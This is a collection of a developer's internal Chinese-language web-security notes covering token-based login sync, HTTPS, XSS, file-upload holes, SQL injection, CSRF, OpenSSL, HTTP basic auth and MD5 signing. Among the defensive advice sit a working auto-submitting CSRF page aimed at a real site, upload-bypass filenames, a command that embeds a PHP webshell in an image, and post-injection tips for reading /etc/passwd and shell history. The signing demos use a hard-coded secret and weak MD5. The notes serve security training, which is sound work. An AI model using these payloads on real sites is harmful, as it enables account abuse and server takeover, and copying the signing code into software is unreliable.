使用token来解决用户信息同步问题


编	写:袁	亮
时	间:2015-11-27
说	明:多应用系统用户信息统一安全升级策略

一、问题
	1、post请求之后,后退按钮导致加载失败,提示需要重新提交数据问题的解决
	2、用户信息被抓包,会导致账号泄漏问题
	
二、原因
	1、根据http协议,post请求非幂等,不能缓存,因此有响应头Pragma:no-cache
	2、后退的时候,浏览器会强制提醒用户,确认是否重新输入数据
	3、因此后退会出现白页

三、可能解决思路
	1、post请求换成get请求,绕过限制
		1.1 私密数据不安全,如果链接发给其他人,会导致账号被盗
		1.2 统计代码中,会把这些链接都给存储下来,太危险
	2、对get的数据进行可逆加密并加过期时间
		还是解决不了上面的两个问题
	3、先post发送私密数据过去,然后get跳转
	
四、完整思路
	1、私密数据,必须要走post,不能get
	2、先通过服务器间请求,将私密数据post过去
		2.1 在客户端对数据进行签名及有效期
		2.2 通过post将数据通过服务器与服务器传输
		2.3 服务端返回该数据存储的token(类似session存储)
			为防止服务器返回较慢,导致token丢失,token以客户端传过去的签名为准
		2.4 该数据,只存储一个小时,超过则失效
	3、get形式带上token去请求数据
		3.1 根据token,取到对应的数据
		3.2 用户之后的token要删除,不允许重复使用
		3.3 取出的数据需要验证是否有效期内,并验证签名是否正确
	4、解决了哪些问题
		4.1 没有通过get传输私密数据
		4.2 浏览器没有发起post请求,因此不存在后退刷新的问题
		4.3 私密数据通过服务器间的post请求,因此对用户抓包,并不能获取到这份私密数据
			抓更原始的包那就没办法,虽然不知道原始数据,但还是能登陆到用户账户上
	5、导致的问题及解决办法
		5.1 比之前多了一次http请求,会变的更慢
			在相应的服务器端加host,降低解析时间(同一机房,走内网)
			服务端只做数据存储到内存,不做额外操作降低运行时间
			客户端设置超时,防止卡住
		5.2 memcache存储的数据,存在一定几率丢失
			可以暂时不考虑,概率太低,而且最坏的影响也就是用户某一次可能登陆不上(只有新用户)
		5.3 token丢失或被抓包
			32位的加盐散列,基本可以不考虑被暴力强刷
			token即使丢失,问题也不大,因为token生成之后,用户基本上马上就使用,之后token就失效了
	

使用范例见附件:build_query

https的使用注意事项


编	写:袁	亮
时	间:2015-11-20
说	明:https的使用注意事项

一、全部https的优缺点以及选择
	1、优点
		1.1 安全性高
	2、缺点
		2.2 用户访问会变慢,特别是第一次访问(需要下载证书)
		2.2 开发成本较高,https页面的所有资源都必须是https资源
		2.3 统计代码不能使用,大部分统计代码都不提供https版本
		2.4 服务器端的负载也会变高
	3、其他网站参考
		3.1 百度、淘宝等很多二级域名也不是https
		3.2 京东大部分都不是https
	4、结论
		只针对安全级别高的几个页面采用https即可,不需要整个域名都使用https
		
二、开发过程注意事项
	1、静态资源都必须是https
		1.1 js等请求,浏览器直接会阻止http的请求
		1.2 图片请求,http的不阻止,但是会报warning错误
		1.3 为兼容http和https同时访问,可以写//***.ci123.com/****,会自动根据当前的访问协议加上http或者https
	2、ajax请求
		2.1 ajax请求也必须是同协议的,否则将跨域,不能访问
		2.2 jsonp可以解决这个问题,但最好不要这么做
	3、核心cookie可以设置为仅https访问
		3.1 淘宝中的skt,对应的应该是一个sessionId,就是仅https的
		3.2 这个设置要小心,因为该cookie在http中是访问不到的
		3.3 可以防止cookie被劫持,一般用与session
		3.4 用的不多
	4、关键地方,只配置https,不允许http访问
		4.1 防止用户被引导到http请求中,然后输入了敏感信息
		
三、安全问题
	1、证书伪造:浏览器有提示
	2、引导到http请求,然后盗取

四、其他
	1、https请求可以被缓存
	
附录:
1、HTTPS连接的前几毫秒发生了什么
	http://blog.jobbole.com/48369/ 
2、与HTTP有什么区别?HTTPS的七个误解
	http://www.chinaz.com/web/2015/0320/391752.shtml
3、HTTPS那些事(一)HTTPS原理
	http://www.guokr.com/post/114121/
	日志转载:HTTPS那些事(二)SSL证书
	http://www.guokr.com/post/116169/
	HTTPS那些事(三)攻击实例与防御
	http://www.guokr.com/blog/148613/
		


【web安全】- xss注入攻击的总结

编	写:袁亮
时	间:2014-10-10
功	能:xss攻击的总结文档

一、xss注入攻击危害
	1、cookie、session等劫持,任意登陆其他用户、管理员的账号,从而做一些非法操作,比如登陆后台操作等等
	2、挂马、流量劫持,将正常访问我们站点的流量导到他们的网站,从而实现谋利等
	3、记录用户的键盘输入,从而实现盗取账号密码等
	4、弹出广告,篡改页面,引导用户输入账号密码等
	5、用管理员权限,进行提权,比如上传一些webshell,进一步来提权控制服务器等
	6、使用劫持的流量进行攻击等操作

二、防御措施
	1、cookie设置的时候,设置为http only,除非没办法一定要给js读取,否则都设置为http only
	2、外部参数都要过滤:get、post、cookie
	3、数字型参数,一律使用intval转型
	4、字符串:纯文字,不允许html、js等效果的,使用strip_tags过滤,绝大多数都可以防止
		4.1 非编辑器的内容输入,基本上都可以采用该策略
		4.2 编辑器的内容,产品允许的情况下,也可以这么用,指定strip_tags的第二个参数,只允许部分标签
	5、字符串:允许html,但不允许脚本执行(编辑器内容)
		5.1 完全避免是不可能的
		5.2 针对一般性的注入进行防范,参考附件中的removeXss函数,还是会被绕过
		5.3 去除了一些危险标签,以及几乎所有的js事件,可能会存在误判,可根据各项目情况,自行修改过滤标签数组
		5.4 一般只针对富文本编辑器产生的内容处理,其他的采用上面的方法处理
	6、采用html purifier来过滤所有的xss攻击(成本较高,特别重要的项目的部分输入才引入)
		6.1 只看了大概介绍,没有具体研究,有兴趣的可以试下

	总结:数字型支架intval,非编辑器产生的字符串基本都可以用strip_tags过滤,编辑器的可采用removeXss进行过滤。

三、其他工具
	1、web自动扫描工具(360漏洞扫描)
	2、360webscan.php(自动拦截记录get、post、cookie中的非法请求,会上传报告,记得关掉,易误伤)
	3、XSSer
	4、app检测:http://service.security.tencent.com/kingkong

四、通用后台登陆验证升级:
	1、产生的登陆cookie设置为http only,防止因为其他站点的xss工具导致cookie被劫持
	2、验证生成的秘钥与验证时候的ip与agent绑定,防止非法使用
	3、登陆产生的秘钥存储在session中,过期失效

【web安全】- 文件上传漏洞


编	写:袁	亮
时	间:2014-10-27
说	明:文件上传、下载漏洞的研究

一、上传漏洞原理
	1、用户上传了非法的文件
	2、存储的目录有执行脚本权限,且非法文件能被解析
	3、可以通过web方式访问该文件

二、上传验证攻防手段:
	1、防御:客户端js坚持文件类型和大小是否合法
	   攻击:直接修改浏览器的js或者使用burpsuite等工具修改提交的数据
	
	2、防御:服务端后缀名检测
	   攻击:直接修改脚本后缀名上传即可,后缀名判断采用白名单形式,不要用黑名单
		2.1 结合服务器端的解析漏洞
		2.2 IIS的解析漏洞:可以采用类似webshell.asp;test.jpg 的文件,会被IIS解析为webshell.asp
		2.3 apache解析漏洞:webshell.php.rar.rar a.php.123
			2.3.1 AddHandler php5-script .php 危险文件:test2.php.jpg
			2.3.2 AddType application/x-httpd-php .jpg jpg也能作为脚本执行
			2.3.3 配置了php2 php4等也作为脚本执行
		2.4 nginx解析漏洞:/test.jpg/webshell.php (0.87版本以下)
		2.5 windows下:webshell.asp_ webshell.asp.等形式,windows自动会把asp后面的去掉
		2.6 linux下:webshell.php0x00.jpg 0x00在C里是终结符,会被截断为webshell.php
	
	3、防御:服务端MIME类型检测
	   攻击:修改请求包中的Content-Type字段即可绕过

	4、防御:服务端根据文件内容进行类型检测
		4.1 文件头头检测,比如getimagesize等,检测的就是文件头不10个字节左右
		4.2 文件加载测试,比如图片渲染,或者二次渲染
	   攻击:修改上传文件的内容
		4.1 在正常的图片文件头之后,加入可执行脚本
		4.2 使用GIMP工具,在图片的空白区域,填充代码,可以绕过渲染检测

三、上传之后攻击
	1、服务器配置不当,导致webshell被执行
		1.1 上传目录可执行
		1.2 非法文件名被解析
	2、程序不当,导致webshell执行
		1.1 引用了上传的文件(很多开源的框架都有这种漏洞,比如UCenter的js.php等等)
		1.2 直接使用了源文件的后缀名等,导致成功使用了解析漏洞,如果生成的文件都重命名了,那么文件名解析漏洞肯定不存在
	3、得到webshell之后,基本上,可以说这个站点已经沦陷了,后面可以做的事情太多了
		3.1 有个很出名的webshell叫中国菜刀,大家可以下过来玩下
四、安全防范
	说明:具体看各种攻防手段,感觉要完全解决上传漏洞是件非常麻烦,而且有技术含量的事情
	但是从本身的原理上来看,只要遵循规范,其实是一件很容易规避的问题(开源框架例外,太多不可控)
	1、服务器方面:
		1.1 【最重要】上传文件的目录,设置为不可执行(就算所有判断都没加,只要这点做了,基本上就成功了)
		1.2 apache、nginx不要配置一些奇怪的解析
		1.3 上传的图片可以采用统一的域名进行访问,不与web服务器一起
	2、程序方面
		2.1 根据文件头,判断文件类型,并采用白名单过滤,只允许有限几种类型
		2.2 重写文件名,并且文件名与用户输入的数据无关
		2.3 如果是图片的话,可以进行图片压缩等操作,一般来说,非法代码都会被干掉

五、容易遗漏的过滤
	1、引用了富文本编辑器,但是没做任何更改,一般富文本编辑器会自带了上传功能,包括服务器端的,很多人会忘了该这个,从而导致webshell被上传执行
	2、开源框架本身的有include一些生成文件的,这个只能多关注开源框架的一些最新安全消息,进行升级

六、文件下载
	1、文件下载遵循一个原则,所有要下载的文件名,都不允许是通过参数传递进来的
	2、将可下载的文件,通过后台等形式记录到数据库中,并给与编号
	3、只允许根据编号来进行相应的文件下载
	4、导出数据的,根据取到的数据库,生成文件下载需要防范的是sql注入等问题,与文件下载本身没什么管理,参考其他防范措施

附录:
1、在图片里写入一句话木马
	copy /b tangwei.jpg+yijuhua.php tangweiyijuhua.jpg
2、二次渲染
	就是重新生成图片,然后删除原图

【web安全】- sql注入的实战与防范

编	写:袁	亮
时	间:2014-10-24
说	明:sql注入的实战与防范

一、对m端知识目录下的程序进行注入:
	1、结果:通过sqlmap将整个baike的数据库down下来了
	2、代码有以下问题:
		2.1 程序设置了报错开启输出
		2.2 参数没有做过滤,大部分都是整型,intval下其实就可以解决
		2.3 搜索功能的搜索值也没有做任何处理
		2.4 妈妈经的后台,sadmin/sub下的所有程序都没有验证登陆
		2.5 妈妈经后台的处理程序,对任何外部数据都没有处理,后台要是沦陷,轻易可以住人做任何事情
	3、处理结果:
		已经反馈给戴维杨,做相应的升级
二、英皇下载漏洞以及sql住人漏洞的利用:
	1、结果:根据乌云上爆出的漏洞,将英皇那台服务器上的代码基本上都down下来了
		根据其中的sql住人利用,使用sqlmap将其库拖成功
	2、学到的东西:
		2.1 sqlmap在住人rewrite的网址时,对rewrite网址中参数部分加一个*号即可正常住人,否则rewrite过的页面是住人不起来的
		2.2 报错绝对要关掉
		2.3 猜测程序目录等的时候,可以通过读/etc/passwd文件,知道服务器上有哪些账号,根据账号读取相应的/home/账号名/.bash_history 来读取历史操作
		2.4 结合页面url,来猜测其中的一个文件,只要找对了一个文件名,就可以根据引用关系顺藤摸瓜,将其绝大多数代码搞定
三、openlogin服务器端安全升级:
	1、上周对openlogin的客户端进行了安全升级,但是服务端很是很脆,上去看了下,拖库太轻松了,所以将其安全方面升级了下。
	2、具体实现:
		2.1 mysql_error不允许输出
		2.2 openpassword加密,现在是直接输出的数据库中的md5值
		password记录到cookie中的值为md5("实际密码").','.生成时候的时间戳.','.md5(时间戳+随机字符串)
		使用cookie中的密码时候,必须保证前后两个都是32位的md5值,中间的时间戳不超过1星期,后面的MD5验证串正确
		当用户的cookie被劫持的话,还是有可能被绕过
		2.3 用户输入的用户名只能是4位小写字母加0到16位小写字母加数字
		2.4 密码必须超过6位,必须有两种字符(大写字母、小写字母、数字、特殊字符)
		2.5 密码不带入sql中进行查询,只根据账号取出来的密码进行字符串匹配是否相等,从而防止sql注入
		2.6 所有的cookie不允许js读取
		2.7 openlogindomain也做同样的升级处理
		2.8 该目录下的其他数据库连接文件,全部引用ci123_safe.php文件,防止一般攻击(40多个文件,改的好蛋疼...)
四、防范要点:
	1、对所有的外部数据都要过滤,判断($_GET,$_POST,$_COOKIE,$_SERVER等),不要使用一些奇奇怪怪的数据接收方式,比如$_REQUEST,$GLOBALS['HTTP_RAW_POST_DATA']之类的,这个后面要审核代码就是个悲剧,容易漏掉
	2、清楚的知道数据是什么格式,多少长度的,做相应的判断
	3、90%以上的参数都是整型,直接intval处理
	4、字符串型的,如果是特地格式的数据,直接用正则来判断:
		4.1 手机号、ip地址、用户名、QQ号、邮编、邮箱、日期等等
		4.2 这些的正则网上随便找找就一大堆,不要说不知道怎么写
	5、富文本编辑器的的情况下,可以采用360的过滤,因为这些很难验证,我们可以采用他们做的这个来验证
	6、千万不要开报错!!!页面里不能输出
	7、数据库权限开通:master:增删改查,slave:select权限即可
五、攻击小技巧
	1、利用搜索引擎找到有漏洞的页面:site:***.com inurl:?id=之类的
	2、通过在参数后面加单引号或者and 1=1 ,and 1=2 来判断是否可注入
	3、善于利用工具来做,然后看下工具生成的攻击log来学习

CSRF攻击范例

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>自动加粉丝</title>
</head>

<body>
<div style="display:none">
<form action="http://t.ci123.com/subs/follow.php" name="addForm" method="post" id="addFans" target="ipost">
<input type="text" name="uid" value="1535917"  />
<input type="text" name="types" value="1" />
</form>
<iframe name="ipost" id="ipost"></iframe>
</div>
<script language="javascript">
document.getElementById("addFans").submit();
</script>
</body>
</html>

【web安全】- CSRF攻击的说明和理解

编	写:袁	亮
时	间:2014-10-14
功	能:CSRF攻击的说明和理解

一、介绍
	1、跨站点请求伪造
	2、不收集用户的cookie、不伪造cookie、session等验证信息,直接让用户使用有验证过的情况下去做一些请求,从而造成
破坏

二、大致原理
	1、诱使用户访问一个有问题的页面A
	2、该问题页面A中会发起一个隐藏需求,比如
	3、用户在访问该页面的时候,会以验证过权限的身份隐式的请求
	4、可能会发起是post或者get请求,post稍麻烦点,get非常简单
		4.1 隐藏一个自动提交的post表单,还可以发送到一个隐藏的iframe里,对用户完全透明
		4.2 如果是用户自己的站点,ajax发起post请求
		4.3 通过flash发起post请求

三、防范
	1、重要操作,采用post请求,不要用get请求,get更容易伪造(删除、顶、点赞等)
	2、慎用P3P头,因为这个会导致一些浏览器的cookie安全策略失效(img,iframe等请求本是不发送cookie过去的)
	3、重要操作添加验证码(对用户不友好)
	4、refer检查,易误伤(有些浏览器不发送refer,而且refer易伪造)
	5、Anti CSRF Token验证
		5.1 token放在表单中,不要放在链接中
		5.2 session或者cookie中也存放一个token
		5.3 token使用后需要释放,但需要注意多个页面待提交的问题,生成多个token来解决
		5.4 如果存在xss漏洞的话,token就基本无效了

四、例子(让用户关注我的育儿微博账号)
	1、让用户访问我的一个页面
		1.1 可以是一个自己的网站
		1.2 也可以随便找个有xss注入攻击的站点,比如在博客里插入一段危险代码
		1.3 具体代码可以参考附件中的add_fans.php中的代码(非常简单的html加一行js)
	2、用户访问时,会隐藏的提交了一个post请求
		2.1 该请求对用户完全透明
		2.2 不需要伪造用户的登陆信息,也不需要获取用户的登陆信息,完全绕过登陆验证环节
		2.3 用户只要登陆了育儿网账户,就会自动关注我的微博账号
	3、其他危险
		3.1 通过这种方法,基本上,可以用用户的账号做任何操作(对我们网站现在的情况来说)
		3.2 让访问的用户,自动发送一篇带有add_fans.php的博客,形成蠕虫病毒扩散(xss过滤不完成的话)
		3.3 在扩散出去的这些用户中,还可以升级下add_fans.php的代码,比如让他们帮忙发广告、投票、评论等等

openssl第一篇:简单了解


编	写:袁	亮
时	间:2015-07-20 
说	明:openssl第一篇:简单了解

一、什么是openssl
	1、一个强大的安全套接字层密码库
	2、套接字:源ip,目的ip,协议,源端口,目的端口组成,通信的一种约定,想了解更多,请自行google
	3、建立在可靠的传输层协议TCP上
	4、主要功能:
		4.1 加密、解密在网络传输中的数据包,包含这些数据不被篡改和伪造(在网络传输数据前加密,收到数据,先解密再往上传)
		4.2 验证客户端和服务端的身份,只跟符合要求的另一方进行通信(正常的网络请求是没有验证的)
	
二、哪些地方使用到了
	1、绝大部分的https服务器
	2、支持https的浏览器(客户端)
	3、各种支付功能:比如支付宝、银联支付、微信支付等,都需要openssl支持
	4、对安全要求比较高的话,比如防止数据被伪造获取,传输内容被看到,都可以考虑使用
	
三、工作原理(摘自参考文章,大概了解即可)
	1、client送给server它自己本身使用的ssl的version(ssl一共有三个version),加密算法的一些配置
		和一些随机产生的数据,以及其他在SSL协议中需要用到的信息
	2、server送给client它自己的SSL的version,加密算法的配置,随机产生的数据,还会用自己的私有密钥加密SERVER-HELLO信息
		Server还同时把自己的证书文件给送过去。同时有个可选的项目,就是server可以要求需要客户的certificate
	3、client就用server送过来的certificate来验证server的身份。如果server身份验证没通过,本次通信结束。
		通过证书验证之后,得到server的公共密钥,解开server送来的被其用私有密钥加密过的SERVER-HELLO信息,看看对头与否
		(可理解为签名的过程,用来验证服务器身份)。
		如果不对,说明对方只有该server的公共密钥而没有私有密钥,必是假的。通信告吹。 
	4、client使用产生了的随机数据(sharedsecret),并且把这个随机数据用server发送过来的的公共密钥加密,
		此次加密过程产生本次握手中的premastersecret(这个步骤是有可能有server的参与的,由他们使用的加密算法决定)
		然后将它(premastersecret)送回给server,如果server要求需要验证client,那么client也需要自己把自己的证书送过去
		同时送一些自己签过名的数据过去。
	5、Server验证完client的身份之后,然后用自己的私有密钥解密得到premastersecret然后双方利用这个premastersecret来共同协商
		得到mastersecret(可理解为premastersecret为双方协商的暗号,然后使用这个暗号再协商一个mastersecret用来
		产生真正的会话密钥用来传输数据)以此来保证数据的决对安全。
    6、双方用mastersecret一起产生真正的sessionkey,然后就是他们在剩下的过程中的对称加密的key了。
		这个key还可以用来验证数据完整性。双方再交换结束信息。握手结束。
	
四、关键名称
	1、加密算法
		1.1 对称加密算法(加密和解密用的秘钥一致)
			一共提供了8种对称加密算法,其中7种是分组加密算法,仅有的一种流加密算法是RC4
			7种分组加密算法分别是AES、DES、Blowfish、CAST、IDEA、RC2、RC5
			des比较常用
		1.2 非对称加密算法(加密和解密用的秘钥不一致)
			包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)
			rsa和dsa是最流行的数字签名技术
	2、公钥、密钥
		2.1 公钥(Public Key)与私钥(Private Key)是通过一种算法得到的一个密钥对(即一个公钥和一个私钥)
		2.2 公钥是密钥对中公开的部分,私钥则是非公开的部分
		2.3 使用这个密钥对的时候,如果用其中一个密钥加密一段数据,必须用另一个密钥解密
			比如用公钥加密数据就必须用私钥解密,如果用私钥加密也必须用公钥解密,否则解密将不会成功
	3、数字证书
		3.1 由权威机构(CA)颁发
		3.2 包含公钥所有者信息、公钥内容以及证书授权中心的数字签名所组成的文件
		3.3 有效期内才有用
		3.4 证书格式
			cer:公钥证书格式
			pfx:私钥证书格式
	4、证书授权中心 CA (Certificate Authority)
		4.1 各家浏览器支持的ca机构也不尽相当,特别是对一些小的ca机构
		4.2 比较著名的ca机构:
			VeriSign:最大的认证机构,赛门铁克的子公司,管理世界13台根服务器中的2台,顶级域名中的.com和.net等,百度在用
			中国金融认证中心:http://cs.cfca.com.cn 银联证书就是使用的这个
			google internet authority g2:谷歌家的
			geotrust ssl ca g2:微信在使用
			StartCom 使用的也比较多
		4.3 出名的ca机构,证书比较贵,还有一些小的ca机构,虽然便宜,但是有些浏览器不认可,会提示不受信任,体验较差	
		4.4 火狐支持的ca机构:
			http://curl.haxx.se/ca/cacert.pem
附录:
	http://blog.itechol.com/space-33-do-blog-id-5158.html
	http://baike.baidu.com/link?url=q3wLEKuHy59qDRfIUMYnG0SnofPY0sI32c6N2-3u-zcf7qKB3vRu3v9Jlke0BkiwzcO9sEXDVln-ImZWhauVna
	http://my.oschina.net/0757/blog/207487

http basic认证的那些事


编	写:袁	亮
时	间:2015-07-13
说	明:http basic认证的那些事

一、什么是http basic认证?
	1、由http协议规定
	2、提供简单的用户验证功能,适合于对安全性要求不高的地方
	3、通过在http头部增加
		Authorization: Basic username:password
		的方式,来向服务端证明自己是一个被授权访问的用户
	4、优点:
		简单、方便
	5、缺点:
		安全性太低,账号密码容易泄露,而且不方便升级维护
	6、替代协议
		oauth,使用oauth可以提供更安全的授权访问,但是实现较复杂
		现有oauth已经到了2.0版本,有兴趣的可以去了解下
	
二、常见使用方式
	1、最熟悉的,应该是大家家里的路由器登陆页面,那就是一个典型的http basic认证
	2、一些比较旧的项目后台,也会有这种登陆方式
	3、自己写一些临时后台,又不想介入复杂的账号体系的话,也可以使用该验证方式

三、工作流程
	1、浏览器第一次访问,没有带上相应账号密码请求
	2、服务器端,判断如果没有带上相应请求头Authorization: Basic,则返回401状态码,以及
		WWW-Authenticate:Basic realm="验证输入框标题"
	3、浏览器收到401状态码,弹出各浏览器自行实现的账号、密码输入框供用户输入
	4、浏览器将用户输入的用户和密码拼接,并加入到请求头中
		Authorization: Basic base64_encode(username:password)
	5、服务端将内容解析出来,并与自己的账号密码库比对,如果失败,继续要求填写账号密码
		如果正确,则继续访问,并在之前的每次访问都带上相应的请求头
	
四、几种实现方式
	1、apache设置【主要使用】
		1.1 开启设置,在httpd.conf文件中,相应目录上设置(需要重新apache服务)
			AuthType Basic
            AuthName "请输入你的账号密码"
            AuthUserFile .htpasswd	#账号密码存储文件位置
            Require valid-user #账号文件中的所有用户都可访问
		1.2 添加账号
			/opt/ci123/apache/bin/htpasswd -m /opt/ci123/www/html/geekman/.htpasswd username
			//注意,第一次添加需要加-cm参数创建文件,之前不允许加-c,否则会直接覆盖那个文件,导致其他账号丢失
		1.3 修改密码,同添加
		1.4 删除账号,找到对应的账号文件,直接删除那一行即可
	2、php设置,弹出
		if (!isset($_SERVER['PHP_AUTH_USER'])) {
			header('WWW-Authenticate: Basic realm="My Realm"');
			header('HTTP/1.0 401 Unauthorized');
			echo 'Text to send if user hits Cancel button';
			die;
		} else {
			echo "

Hello {$_SERVER['PHP_AUTH_USER']}.

"; echo "

You entered {$_SERVER['PHP_AUTH_PW']} as your password.

"; //验证该账号密码是否在允许范围内 } 五、程序模拟访问带http basic的页面 1、两种请求方式 1.1 将账号密码拼接在链接中 http://username:password@192.168.0.249/memadmin/basic.php 1.2 请求头中增加 Authorization: Basic base64_encode(username:password) 2、curl模拟账号密码 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, username:password); 3、rpc接口 初始化的时候,第三、第四个参数分别填用户名密码即可

简单的签名技术

编    写:袁    亮
时    间:2015-01-27
说    明:基本的数字签名技术

一、为什么需要
1、网络传输的过程中,数据对别人来说是可见的,我们需要保证数据没有被篡改,以保证基本的安全
2、常见使用:
cookie信息
接口调用参数验证

二、如何实现
1、先验条件
1.1 数据生成、数据接收方都需要可控
1.2 两边统一一个相应的密钥,并保存
2、实现
2.1 生成方,在原始数据的后面,根据密钥以及原始数据(其中一部分也行,两边约定好即可),使用散列(MD5或者SHA-1)生成一个签名
2.2 接受放根据接受到的数据,将原始数据使用同样的办法,进行散列,查看与接受到的签名是否一致,如果不同,则非法
3、优点
3.1 实现简单,安全性较高
4、缺点
4.1 如果密钥泄露,更改较为麻烦,得两边同时修改

三、cookie签名demo
1、设置cookie
define("MD_STR","FDSAF$#@dsa!#@4134Eda");

$cstr = '1535917,yuanliang847,暗夜御林';//设置到cookie里的内容
$signstr = md5($cstr.MD_STR);
$cstr .= "|-|".$signstr;

setcookie("uinfo",$cstr,0,"/",'',false,true)

2、cookie解析
define("MD_STR","FDSAF$#@dsa!#@4134Eda");

$uinfo = checkLogin();

function checkLogin(){
if(!isset($_COOKIE['uinfo']) || !$_COOKIE['uinfo']){
return array();
}

$cstr = $_COOKIE['uinfo'];
$tmp = explode("|-|",$cstr);
if(md5($tmp[0].MD_STR) != $tmp[1]){//cookie非法
return array();
}

$data = explode(",",$tmp);
return array('user_id'=>$data[0],'username'=>$data[1],'nickname'=>$data[2]);
}

四、接口参数签名demo
1、client(必须是服务端的,不能是用户可见的过程,比如js)
define("MD_STR","FDSAF$#@dsa!#@4134Eda");

$uid = 1535917;
$username = 'yuanliang847';
$str = "uid={$uid}&username={$username}";//需要传输的原始数据
$http_str = $str."&signstr=".md5($str.MD_STR);//将签名与原始数据一起拼接传输

//...网络数据传输

2、server
define("MD_STR","FDSAF$#@dsa!#@4134Eda");

$uid = isset($_GET['uid'])?intval($_GET['uid']):0;
$username = isset($_GET['username'])?$_GET['username']:'';
$signstr = isset($_GET['signstr'])?$_GET['signstr']:'';

$str = "uid={$uid}&username={$username}";
if(md5($str.MD_STR) != $signstr){
die('参数错误');
}

//...正常业务逻辑处理

3、改进
以上需要对每一个客户端和服务端进行相应的编写,很麻烦
可以编写一个统一的签名函数,来进行相应的验证

五、接口层统一的函数
1、client
define("MD_STR","FDSAF$#@dsa!#@4134Eda");

$p = array(//需要传递的参数,可以是get或者post用
'user_id'    => 1535917,
'username'    => 'yuanliang847',
'nickname'    => '暗夜御林',
);
$p = addSign($p);
$url = "http://api.***.com/***.php?".http_build_query($p);

//...发送接口请求

/**
* 将需要传递的参数数组增加一个签名串
* @data 需要传递的参数数组
* #返回新的参数数组,并增加键值signstr作为签名
*/
function addSign($data){
$str = json_encode($data);
$data['signstr'] = md5($str.MD_STR);
return $data;
}

2、server
define("MD_STR","FDSAF$#@dsa!#@4134Eda");

$is_sign = checkSign($_POST);//看接口是post还是get,传入不同的数据
if(!$is_sign){
die('参数错误');
}

//... 正常业务逻辑处理

/**
* 验证签名串是否正确
* @data 需要验证的参数,包括原始数据以及签名串
* #返回true则正常,否则参数有问题
*/
function checkSign($data){
if(!isset($data['signstr']) || !$data['signstr']){//没有签名
return false;
}

$signstr = $data['signstr'];
unset($data['signstr']);
if(md5(json_encode($data).MD_STR) != $signstr){
return false;
}

return true;
}